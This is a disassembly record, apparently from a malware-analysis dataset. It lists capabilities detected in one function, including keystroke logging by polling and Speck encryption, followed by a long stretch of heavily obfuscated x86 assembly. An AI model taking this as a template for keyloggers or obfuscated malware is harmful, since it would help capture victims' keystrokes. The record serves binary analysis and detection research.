Function at 0x488d64
Capabilities:
Accept command line arguments
Create directory
Encrypt data using speck
Get common file path
Get disk information
Log keystrokes via polling
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b4239
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2538
call fcn.004afbd0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x49af0b
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1538], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x1510], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x1530], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x17f8], eax
mov eax, dword [ebp - 0x17f8]
movzx eax, byte [eax]
test eax, eax
je 0x49aecb
mov eax, dword [ebp - 0x1530]
mov dword [ebp - 0x1540], eax
mov eax, dword [ebp - 0x1538]
mov dword [ebp - 0x1500], eax
mov eax, dword [ebp - 0x1540]
movzx eax, byte [eax]
test eax, eax
je 0x49ae2d
push 1
lea ecx, [ebp - 0x1798]
call fcn.0040e140
push 1
lea eax, [ebp - 0x2118]
push eax
push 1
lea eax, [ebp - 0x1798]
push eax
push 1
push 0x6dde
push 0xebd
push 0x4af3
push 0x1c28
push 0x5f08
push 1
call fcn.0046f3fe
add esp, 0x2c
push 0
lea ecx, [ebp - 0x1798]
call fcn.0040e22e
mov dword [eax], 0xffffffe2
jmp 0x488e74
push 0
lea ecx, [ebp - 0x1798]
call fcn.0040e22e
mov dword [ebp - 0xa00], eax
mov eax, dword [ebp - 0xa00]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xa00]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1798]
call fcn.0040e22e
cmp dword [eax], 0x12
jle 0x488fea
push 4
lea ecx, [ebp - 0x12d4]
call fcn.0040e140
push 0
push 1
push 0
lea eax, [ebp - 0x12d4]
push eax
lea eax, [ebp - 0x2098]
push eax
call fcn.0046cade
add esp, 0x14
push 1
lea ecx, [ebp - 0x12d4]
call fcn.0040e22e
and dword [eax], 0
jmp 0x488ee9
push 1
lea ecx, [ebp - 0x12d4]
call fcn.0040e22e
mov dword [ebp - 0x11f0], eax
mov eax, dword [ebp - 0x11f0]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x11f0]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x12d4]
call fcn.0040e22e
cmp dword [eax], 0xfffffff6
jg 0x488fb8
push 1
lea ecx, [ebp - 0x1880]
call fcn.0040e140
lea eax, [ebp - 0x1880]
push eax
push 0x1a77
push 0
push 0x7cf8
push 0x469b
push 1
push 0x514c
lea eax, [ebp - 0x1df0]
push eax
push 0x438c
push 0
push 0x3987
push 0x60c5
push 0x4677
push 1
push 0x54f9
push 1
push 1
call fcn.0046f69d
add esp, 0x44
push 0
lea ecx, [ebp - 0x1880]
call fcn.0040e22e
cmp dword [eax], 0
je 0x488f7a
lea ecx, [ebp - 0x1880]
call fcn.0040e212
jmp 0x488fb8
push 1
push 0x2643
push 0x55cc
push 0x7a70
push 0
push 0x3830
push 0x799e
push 0x365c
push 1
push 0
call fcn.00481a35
add esp, 0x28
lea ecx, [ebp - 0x1880]
call fcn.0040e212
jmp 0x488ec5
push 1
lea ecx, [ebp - 0x12d4]
call fcn.0040e22e
cmp dword [eax], 0
je 0x488fda
lea ecx, [ebp - 0x12d4]
call fcn.0040e212
jmp 0x488e50
lea ecx, [ebp - 0x12d4]
call fcn.0040e212
jmp 0x488e50
lea ecx, [ebp - 0x1798]
call fcn.0040e212
mov dword [ebp - 0x1550], 0x20920a6f
mov dword [ebp - 0x121c], 0xfbb9
mov dword [ebp - 0xe8], 0
jmp 0x489022
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 1
jge 0x48903e
mov eax, dword [ebp - 0xe8]
mov dword [ebp + eax*4 - 0x37c], 0x3843
jmp 0x489015
mov dword [ebp - 0xe8], 0
jmp 0x489057
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 1
jge 0x489073
mov eax, dword [ebp - 0xe8]
mov dword [ebp + eax*4 - 0x1200], 7
jmp 0x48904a
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x37c]
cmp dword [ebp + eax - 0x37c], ecx
jl 0x48909b
mov dword [ebp - 0x1548], 1
jmp 0x4890a2
and dword [ebp - 0x1548], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x37c]
mov dword [ebp - 0x207c], eax
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x1200], 1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x37c], 1
jl 0x4890e2
mov dword [ebp - 0x11f8], 1
jmp 0x4890e9
and dword [ebp - 0x11f8], 0
cmp dword [ebp - 0x11f8], 0xa0c8d467
ja 0x489111
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1200], 0
je 0x489111
mov dword [ebp - 0x1208], 1
jmp 0x489118
and dword [ebp - 0x1208], 0
mov eax, dword [ebp - 0x1208]
mov dword [ebp - 0x1550], eax
mov eax, dword [ebp - 0x121c]
inc eax
mov dword [ebp - 0x121c], eax
mov dword [ebp - 0x128], 2
mov dword [ebp - 0x52c], 0xffffffff
mov dword [ebp - 0xd58], 0xfffffffb
mov dword [ebp - 0x11e8], 0
mov dword [ebp - 0x7fc], 0xfffffff9
mov dword [ebp - 0x1df8], 0xfff6
mov dword [ebp - 0x128], 0
jmp 0x489186
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 2
jge 0x4891b5
push 1
push 0x534f
push 1
push 0x7f82
push 0
push 0x12c4
push 0x35e1
push 1
call fcn.00479b38
add esp, 0x20
jmp 0x489179
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x20a0], eax
cmp dword [ebp - 0x52c], 0
jne 0x4891ef
mov eax, dword [ebp - 0xd58]
mov dword [ebp - 0x1e00], eax
mov eax, dword [ebp - 0x52c]
add eax, 0x61ec
cmp eax, 0xfffffff7
jle 0x4891ef
and dword [ebp - 0x1224], 0
jmp 0x4891f9
mov dword [ebp - 0x1224], 1
mov eax, dword [ebp - 0x52c]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x1224]
jl 0x48921f
mov dword [ebp - 0x122c], 1
jmp 0x489226
and dword [ebp - 0x122c], 0
mov eax, dword [ebp - 0x11e8]
add eax, dword [ebp - 0x122c]
cmp eax, dword [ebp - 0x11e8]
jne 0x489248
or eax, 0xffffffff
jne 0x489248
and dword [ebp - 0x7f4], 0
jmp 0x489252
mov dword [ebp - 0x7f4], 1
mov eax, dword [ebp - 0x7f4]
sub eax, dword [ebp - 0xd58]
mov dword [ebp - 0x7fc], eax
cmp dword [ebp - 0x7fc], 8
jbe 0x489279
mov dword [ebp - 0xd3c], 1
jmp 0x489280
and dword [ebp - 0xd3c], 0
mov eax, dword [ebp - 0x52c]
cmp dword [ebp - 0xd3c], eax
jg 0x48929a
mov dword [ebp - 0x804], 1
jmp 0x4892a1
and dword [ebp - 0x804], 0
cmp dword [ebp - 0x804], 0xdc1b6eab
jne 0x48932a
mov byte [ebp - 0x1ec], 0
push 1
push 0x2988
push 0x40b9
push 0x3777
push 0x2fa0
push 0x1797
push 0x4b6e
push 0x3068
lea eax, [ebp - 0x1ec]
push eax
push 0x5d2a
push 0x703c
push 0xc3
push 1
push 0x552a
push 0
push 0x6b30
push 0x5db2
push 1
call fcn.004794fe
add esp, 0x48
push 1
push 0
push 1
push 0x2c4
push 0x5b25
push 1
push 1
call fcn.00479f91
add esp, 0x1c
jmp 0x48935a
push 0x4890
push 0x608
push 0x61d4
push 0
push 0x298e
push 0x6948
push 1
push 0
push 1
lea eax, [ebp - 0x128]
push eax
call fcn.0046f1a9
add esp, 0x28
push 1
lea ecx, [ebp - 0x17a8]
call fcn.0040e140
mov dword [ebp - 0x2d8], 4
mov dword [ebp - 0x1718], 0x3203bd65
mov dword [ebp - 0x1710], 0xfad5
mov dword [ebp - 0x2d8], 0
jmp 0x48939e
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0xf
jg 0x489475
push 1
lea ecx, [ebp - 0x1898]
call fcn.0040e140
mov dword [ebp - 0x1708], 0xffffffff
mov dword [ebp - 0xc0], 0
jmp 0x4893db
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 2
jge 0x4893f7
mov eax, dword [ebp - 0xc0]
mov dword [ebp + eax*4 - 0x1e9c], 0x3248c66
jmp 0x4893ce
mov dword [ebp - 0xc0], 0
jmp 0x489410
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 1
jge 0x489432
push dword [ebp - 0xc0]
lea ecx, [ebp - 0x1898]
call fcn.0040e22e
mov dword [eax], 7
jmp 0x489403
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x1e9c]
push 0
lea ecx, [ebp - 0x1898]
call fcn.0040e22e
mov dword [eax], esi
push 0
lea ecx, [ebp - 0x1898]
call fcn.0040e22e
mov dword [ebp - 0x1708], 1
lea ecx, [ebp - 0x1898]
call fcn.0040e212
jmp 0x489391
push 0x5830
lea eax, [ebp - 0x2d8]
push eax
lea eax, [ebp - 0x1710]
push eax
push 1
push 0x4990
lea eax, [ebp - 0x1718]
push eax
push 0x3438
push 0
push 1
call fcn.0047ec57
add esp, 0x24
mov dword [ebp - 0x88], 0xfffffffc
mov dword [ebp - 0x6f8], 1
mov dword [ebp - 0x384], 0
jmp 0x4894d4
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 1
jge 0x4894f0
mov eax, dword [ebp - 0x384]
mov dword [ebp + eax*4 - 0x34c], 0x648261f
jmp 0x4894c7
mov dword [ebp - 0x88], 0
jmp 0x489509
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jg 0x4896c8
mov dword [ebp - 0x604], 0
jmp 0x48952f
mov eax, dword [ebp - 0x604]
inc eax
mov dword [ebp - 0x604], eax
cmp dword [ebp - 0x604], 4
jge 0x48954b
mov eax, dword [ebp - 0x604]
mov dword [ebp + eax*4 - 0x2278], 0xfd43ddca
jmp 0x489522
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp + eax*4 - 0x34c]
mov dword [ebp - 0x20a8], eax
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x6f8], eax
imul eax, dword [ebp - 0x6f8], 0xe964
cmp eax, dword [ebp - 0x88]
je 0x489588
mov dword [ebp - 0x1720], 1
jmp 0x48958f
and dword [ebp - 0x1720], 0
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp + eax*4 - 0x34c]
mov dword [ebp - 0x1e08], eax
mov eax, dword [ebp - 0x88]
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x2278]
cmp dword [ebp + eax*4 - 0x34c], ecx
jg 0x4895ca
mov dword [ebp - 0x1114], 1
jmp 0x4895d1
and dword [ebp - 0x1114], 0
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp + eax*4 - 0x34c]
cmp dword [ebp - 0x1114], eax
jl 0x4895f2
mov dword [ebp - 0x80c], 1
jmp 0x4895f9
and dword [ebp - 0x80c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x34c]
cmp dword [ebp - 0x80c], eax
jg 0x48961a
mov dword [ebp - 0xd44], 1
jmp 0x489621
and dword [ebp - 0xd44], 0
cmp dword [ebp - 0xd44], 0x8664a11
jg 0x489639
mov dword [ebp - 0x814], 1
jmp 0x489640
and dword [ebp - 0x814], 0
cmp dword [ebp - 0x814], 0x5493
jne 0x489697
mov byte [ebp - 0x1ee], 0
movzx eax, byte [ebp - 0x1ee]
test eax, eax
je 0x489695
push 1
push 0x5cda
push 0x441e
push 0x3d0
push 0
push 0xd37
push 1
push 0x3c26
push 0x3944
push 0
push 1
push 0x490f
push 1
call fcn.0048109a
add esp, 0x34
jmp 0x4896c3
mov byte [ebp - 0x16d], 0
movzx eax, byte [ebp - 0x16d]
test eax, eax
je 0x4896c3
push 1
push 0
push 0x128e
push 1
push 0
push 0x6d6
call fcn.00479867
add esp, 0x18
jmp 0x4894fc
push 1
push 1
push 0x2747
push 0x7e7f
lea eax, [ebp - 0x6f8]
push eax
push 0x7d2
push 0x7251
push 1
push 1
call fcn.0046fcb1
add esp, 0x24
lea eax, [ebp - 0x17a8]
push eax
push 0x1ddb
push 0
lea eax, [ebp - 0x2160]
push eax
push 0
push 0
call fcn.0046c981
add esp, 0x18
mov dword [ebp - 0x1e10], 0x8c176b0f
mov dword [ebp - 0x208c], 0x1f94964a
mov dword [ebp - 0xfd4], 8
mov dword [ebp - 0x38c], 0
jmp 0x48974b
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 4
jge 0x489767
mov eax, dword [ebp - 0x38c]
mov dword [ebp + eax*4 - 0x2538], 0
jmp 0x48973e
mov eax, dword [ebp - 0xfd4]
inc eax
mov dword [ebp - 0xfd4], eax
mov byte [ebp - 0x20e], 0
movzx eax, byte [ebp - 0x20e]
test eax, eax
je 0x4897be
push 0
push 0x1785
push 0x359d
push 0
push 1
push 0x21f
push 0x5c66
push 1
push 0x474e
push 0x358
push 0x7040
push 0x2ceb
call fcn.004871df
add esp, 0x30
push 0
lea ecx, [ebp - 0x17a8]
call fcn.0040e22e
mov dword [eax], 0xffffffe2
jmp 0x4897f7
push 0
lea ecx, [ebp - 0x17a8]
call fcn.0040e22e
mov dword [ebp - 0x81c], eax
mov eax, dword [ebp - 0x81c]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x81c]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x17a8]
call fcn.0040e22e
cmp dword [eax], 0x12
jle 0x48b29c
mov dword [ebp - 0xd4c], 0x59c8
mov dword [ebp - 0x1728], str.zprohtv_gzwhliai_embrze_xqijvnig_vcpheu_ebjsvyhl_ium_mgtrktku_usdk_xbrvkz_oubnhh_tkqrw_rfuqirr
cmp dword [ebp - 0xd4c], 0x5bc0
jle 0x4898e6
and dword [ebp - 0x394], 0
jmp 0x489847
mov eax, dword [ebp - 0x394]
inc eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0x3eb5
jge 0x4898db
and dword [ebp - 0x368], 0
jmp 0x48986d
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0x6809
jge 0x4898d6
and dword [ebp - 0x534], 0
jmp 0x48988f
mov eax, dword [ebp - 0x534]
inc eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 0x7a75
jge 0x4898d4
mov ecx, dword [ebp - 0x368]
sub ecx, dword [ebp - 0x534]
mov eax, dword [ebp - 0x394]
shl eax, cl
cdq
mov dword [ebp - 0x155c], eax
mov dword [ebp - 0x1558], edx
push dword [ebp - 0x1558]
push dword [ebp - 0x155c]
mov ecx, 0xa97fd8
call fcn.0040e02b
jmp 0x489882
jmp 0x489860
jmp 0x48983a
push 0x23c2
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
mov dword [ebp - 0x100], 0x7e2799ac
and dword [ebp - 4], 0
cmp dword [ebp - 0xd4c], 0x56d5
jge 0x489910
mov edx, dword [ebp - 0x1728]
mov ecx, 0xa97fd8
call fcn.0041000e
jmp 0x48992c
or dword [ebp - 4], 0xffffffff
jmp 0x489936
mov dword [ebp - 0x834], 0x2c82f3c0
mov dword [ebp - 0x66c], 0
jmp 0x489959
mov eax, dword [ebp - 0x66c]
inc eax
mov dword [ebp - 0x66c], eax
cmp dword [ebp - 0x66c], 1
jge 0x489975
mov eax, dword [ebp - 0x66c]
mov dword [ebp + eax*4 - 0x1e18], 0xffffffff
jmp 0x48994c
mov dword [ebp - 0x100], 0
jmp 0x48998e
mov eax, dword [ebp - 0x100]
dec eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0xfffffff2
je 0x489c01
mov dword [ebp - 0xc8], 0xffffffff
mov dword [ebp - 0x82c], 0xfffffff9
mov dword [ebp - 0x1740], 0xfffffff7
push 1
lea ecx, [ebp - 0x1a6c]
call fcn.0040e140
mov dword [ebp - 0xd54], 0xffffffff
mov dword [ebp - 0x39c], 0
jmp 0x4899e9
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 1
jge 0x489a08
push dword [ebp - 0x39c]
lea ecx, [ebp - 0x1a6c]
call fcn.0040e22e
or dword [eax], 0xffffffff
jmp 0x4899dc
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x2114], eax
cmp dword [ebp - 0x100], 1
je 0x489a29
mov dword [ebp - 0x824], 1
jmp 0x489a30
and dword [ebp - 0x824], 0
mov eax, dword [ebp - 0x100]
add eax, dword [ebp - 0x824]
sub eax, dword [ebp - 0xc8]
jne 0x489a56
cmp dword [ebp - 0x100], 0
jne 0x489a56
and dword [ebp - 0x1260], 0
jmp 0x489a60
mov dword [ebp - 0x1260], 1
mov eax, dword [ebp - 0xc8]
cmp dword [ebp - 0x1260], eax
jl 0x489a77
cmp dword [ebp - 0x100], 0
jne 0x489a84
cmp dword [ebp - 0xc8], 0
je 0x489b0a
mov dword [ebp - 0xc8], 0
jmp 0x489a9d
mov eax, dword [ebp - 0xc8]
dec eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0xffffffee
jge 0x489b05
push 0
push 0x821
push 1
push 1
push 0x729d
push 1
call fcn.0047e920
add esp, 0x18
mov byte [ebp - 0x175], 0
push 1
lea eax, [ebp - 0x175]
push eax
push 0x5631
push 1
push 1
push 0x3416
push 1
push 0x1531
push 0
push 0x786c
push 0x368b
push 0x5778
push 0x39b5
call fcn.0047a800
add esp, 0x34
jmp 0x489a90
jmp 0x489bb6
mov dword [ebp - 0x1738], 0x71cf
mov dword [ebp - 0x1730], 1
push 0x51e6
push 1
push 0x1f04
lea eax, [ebp - 0x82c]
push eax
push 0x79d2
push 0x4269
push 1
push 0
push 0
push 0x1d8a
call fcn.00487802
add esp, 0x28
push 0x2249
lea eax, [ebp - 0x1730]
push eax
push 0x1cb4
push 0x581d
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0x1738]
push eax
lea eax, [ebp - 0x834]
push eax
push 0
lea eax, [ebp - 0x1a6c]
push eax
push 0
lea eax, [ebp - 0xd54]
push eax
lea eax, [ebp - 0x1740]
push eax
push 0
lea eax, [ebp - 0xc8]
push eax
push 0x2b07
push 1
lea eax, [ebp - 0x82c]
push eax
push 0x760e
call fcn.00475662
add esp, 0x48
push 1
lea eax, [ebp - 0xd54]
push eax
push 0xbe0
push 0x7bda
push 1
push 0x557b
push 1
push 0x5eed
push 0x3e2d
push 1
push 1
lea eax, [ebp - 0x834]
push eax
push 0
call fcn.0048109a
add esp, 0x34
lea ecx, [ebp - 0x1a6c]
call fcn.0040e212
jmp 0x489981
push 4
lea ecx, [ebp - 0x12ec]
call fcn.0040e140
mov dword [ebp - 0x80], 0x62d5e48d
mov dword [ebp - 0x85c], 0xfffffffb
mov dword [ebp - 0x80], 0
jmp 0x489c2f
mov eax, dword [ebp - 0x80]
dec eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0xffffffec
jl 0x489eaa
mov dword [ebp - 0x118], 0xa9a97186
mov dword [ebp - 0x844], 0xffffffff
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x80]
imul eax, dword [ebp - 0x118]
test eax, eax
jne 0x489c72
xor eax, eax
inc eax
jne 0x489c72
and dword [ebp - 0xfdc], 0
jmp 0x489c7c
mov dword [ebp - 0xfdc], 1
mov eax, dword [ebp - 0xfdc]
dec eax
jne 0x489c92
cmp dword [ebp - 0x118], 0
je 0x489e2f
mov dword [ebp - 0x111c], 1
mov dword [ebp - 0x1938], 0x87fd074d
mov dword [ebp - 0x1934], 0x87fd074d
mov dword [ebp - 0x1930], 0x87fd074d
mov dword [ebp - 0x192c], 0x87fd074d
cmp dword [ebp - 0x80], 0
jne 0x489cd9
cmp dword [ebp - 0x80], 0
jne 0x489cd9
and dword [ebp - 0x83c], 0
jmp 0x489ce3
mov dword [ebp - 0x83c], 1
cmp dword [ebp - 0x83c], 0x26595ad3
jne 0x489cfb
mov dword [ebp - 0xd5c], 1
jmp 0x489d02
and dword [ebp - 0xd5c], 0
mov eax, dword [ebp - 0xd5c]
mov dword [ebp - 0x844], eax
mov eax, dword [ebp - 0x844]
add eax, 0x6e1e
cmp eax, dword [ebp - 0x118]
jl 0x489d2d
mov dword [ebp - 0x84c], 1
jmp 0x489d34
and dword [ebp - 0x84c], 0
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x111c], eax
mov eax, dword [ebp - 0x111c]
mov ecx, dword [ebp - 0x118]
sub ecx, dword [ebp - 0x84c]
imul eax, ecx
cmp eax, dword [ebp - 0x80]
jle 0x489d66
mov dword [ebp - 0xd64], 1
jmp 0x489d6d
and dword [ebp - 0xd64], 0
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0xd64], eax
jne 0x489d87
mov dword [ebp - 0x854], 1
jmp 0x489d8e
and dword [ebp - 0x854], 0
imul eax, dword [ebp - 0x854], 0xffff
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x1938]
jl 0x489db3
mov dword [ebp - 0x1748], 1
jmp 0x489dba
and dword [ebp - 0x1748], 0
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x1e20], eax
push 0xfffffffffffffff8
pop eax
cmp eax, 0xffff
jb 0x489de2
mov eax, 0x4c38
test eax, eax
jne 0x489de2
and dword [ebp - 0x768], 0
jmp 0x489dec
mov dword [ebp - 0x768], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x768]
mov dword [ebp + eax - 0x1938], ecx
cmp dword [ebp - 0x768], 0
je 0x489e1a
cmp dword [ebp - 0x80], 0
je 0x489e1a
mov dword [ebp - 0xfe4], 1
jmp 0x489e21
and dword [ebp - 0xfe4], 0
mov eax, dword [ebp - 0xfe4]
mov dword [ebp - 0x85c], eax
jmp 0x489ea5
push 0x8b4
lea eax, [ebp - 0x85c]
push eax
push 0
push 0x163b
push 0x2bcf
push 0x7b11
push 0x2e1f
push 0
push 0
push 1
push 1
call fcn.00483900
add esp, 0x2c
push 1
push 0x529d
push 0x297f
push 0x3164
push 1
push 1
push 0x6de6
push 0x1279
push 0x6c2c
push 1
push 0x4d37
push 0xbf6
push 0x79d9
push 0
push 0x23a4
call fcn.00480777
add esp, 0x3c
jmp 0x489c28
lea eax, [ebp - 0x12ec]
push eax
push 1
push 0x5892
lea eax, [ebp - 0x2094]
push eax
push 0x303c
push 1
push 1
call fcn.0047048a
add esp, 0x1c
mov dword [ebp - 0x98], 1
mov dword [ebp - 0x874], 1
mov dword [ebp - 0x1750], 0xfffffffa
mov dword [ebp - 0x53c], 0
jmp 0x489f07
mov eax, dword [ebp - 0x53c]
inc eax
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 3
jge 0x489f23
mov eax, dword [ebp - 0x53c]
mov dword [ebp + eax*4 - 0x18b0], 0xae35
jmp 0x489efa
mov dword [ebp - 0x98], 2
jmp 0x489f3c
mov eax, dword [ebp - 0x98]
dec eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
jl 0x489f59
mov eax, dword [ebp - 0x98]
cmp dword [ebp + eax*4 - 0x18b0], 0
je 0x489f57
jmp 0x489f59
jmp 0x489f2f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x18b0]
cmp dword [ebp - 0x98], eax
jg 0x489f7a
mov dword [ebp - 0x11bc], 1
jmp 0x489f81
and dword [ebp - 0x11bc], 0
mov eax, dword [ebp - 0x98]
add eax, 3
je 0x489fa1
cmp dword [ebp - 0x98], 0
je 0x489fa1
mov dword [ebp - 0xd6c], 1
jmp 0x489fa8
and dword [ebp - 0xd6c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x18b0]
cmp eax, dword [ebp - 0xd6c]
jg 0x489fc9
mov dword [ebp - 0x864], 1
jmp 0x489fd0
and dword [ebp - 0x864], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x18b0]
cmp dword [ebp - 0x864], eax
je 0x489ff0
mov dword [ebp - 0x86c], 1
jmp 0x489ff7
and dword [ebp - 0x86c], 0
mov eax, dword [ebp - 0x11bc]
cmp eax, dword [ebp - 0x86c]
jg 0x48a011
mov dword [ebp - 0xd74], 1
jmp 0x48a018
and dword [ebp - 0xd74], 0
mov eax, 0x59d568d5
sub eax, dword [ebp - 0xd74]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x874]
mov dword [ebp - 0x1750], eax
push 1
lea ecx, [ebp - 0x12ec]
call fcn.0040e22e
and dword [eax], 0
jmp 0x48a077
push 1
lea ecx, [ebp - 0x12ec]
call fcn.0040e22e
mov dword [ebp - 0xfec], eax
mov eax, dword [ebp - 0xfec]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xfec]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x12ec]
call fcn.0040e22e
cmp dword [eax], 0xfffffff6
jg 0x48b26a
mov dword [ebp - 0x1c74], 0x2d5e48d3
mov dword [ebp - 0x1c70], 0x2d5e48d3
mov dword [ebp - 0x1c6c], 0x2d5e48d3
mov dword [ebp - 0x1c68], 0x2d5e48d3
mov dword [ebp - 0x3a4], 0
jmp 0x48a0ce
mov eax, dword [ebp - 0x3a4]
inc eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 4
jge 0x48a0ea
mov eax, dword [ebp - 0x3a4]
mov dword [ebp + eax*4 - 0x1970], 0x61f6656
jmp 0x48a0c1
mov byte [ebp - 0x210], 0
movzx eax, byte [ebp - 0x210]
test eax, eax
je 0x48a133
push 0
push 0x537c
push 0x3be0
push 0x4cbc
push 1
push 0x458d
push 0
push 0x559b
push 0x77c7
push 1
push 0
push 0x282a
push 1
call fcn.0048109a
add esp, 0x34
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x1970], 0
jmp 0x48a161
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1970]
inc eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x1970], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x1970], 4
jge 0x48a18b
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1970]
mov dword [ebp + eax*4 - 0x1c74], 0x58bac04e
jmp 0x48a146
push 1
lea ecx, [ebp - 0x188c]
call fcn.0040e140
mov dword [ebp - 0x354], 0x75286e87
mov dword [ebp - 0x60c], 0
jmp 0x48a1bb
mov eax, dword [ebp - 0x60c]
inc eax
mov dword [ebp - 0x60c], eax
cmp dword [ebp - 0x60c], 3
jge 0x48a1d7
mov eax, dword [ebp - 0x60c]
mov dword [ebp + eax*4 - 0x1b74], 0
jmp 0x48a1ae
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov eax, dword [ebp + eax - 0x1b74]
mov dword [ebp + ecx - 0x1b74], eax
mov dword [ebp - 0x354], 0
jmp 0x48a20a
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 3
jge 0x48a226
mov eax, dword [ebp - 0x354]
mov dword [ebp + eax*4 - 0x1b74], 0xfffffff9
jmp 0x48a1fd
mov dword [ebp - 0x35c], 0x6ce125d1
mov dword [ebp - 0x1e28], 0x4288a137
mov dword [ebp - 0x3ac], 0
jmp 0x48a253
mov eax, dword [ebp - 0x3ac]
inc eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 3
jge 0x48a26f
mov eax, dword [ebp - 0x3ac]
mov dword [ebp + eax*4 - 0x21bc], 0x24a8
jmp 0x48a246
mov byte [ebp - 0x17d], 0
movzx eax, byte [ebp - 0x17d]
test eax, eax
je 0x48a2ac
push 0
push 0x501c
push 0x3327
push 0x21ec
push 1
push 0
push 0x5326
push 0
push 0x4e3f
push 1
call fcn.00476734
add esp, 0x28
mov dword [ebp - 0x35c], 0
jmp 0x48a2c5
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 3
jge 0x48a2e1
mov eax, dword [ebp - 0x35c]
mov dword [ebp + eax*4 - 0x21bc], 0xffffffff
jmp 0x48a2b8
push 0x2017
push 0
push 0x4a61
lea eax, [ebp - 0x188c]
push eax
push 0
push 0
push 0x100c
lea eax, [ebp - 0x21ac]
push eax
call fcn.0047b285
add esp, 0x20
mov dword [ebp - 0x1a24], 0xfe0a8eac
mov dword [ebp - 0x1a20], 0xfe0a8eac
mov dword [ebp - 0x1a1c], 0xfe0a8eac
mov dword [ebp - 0x1a18], 0xfe0a8eac
lea ecx, [ebp - 0x75d]
call fcn.0040e23d
push eax
lea eax, [ebp - 0x1a14]
push eax
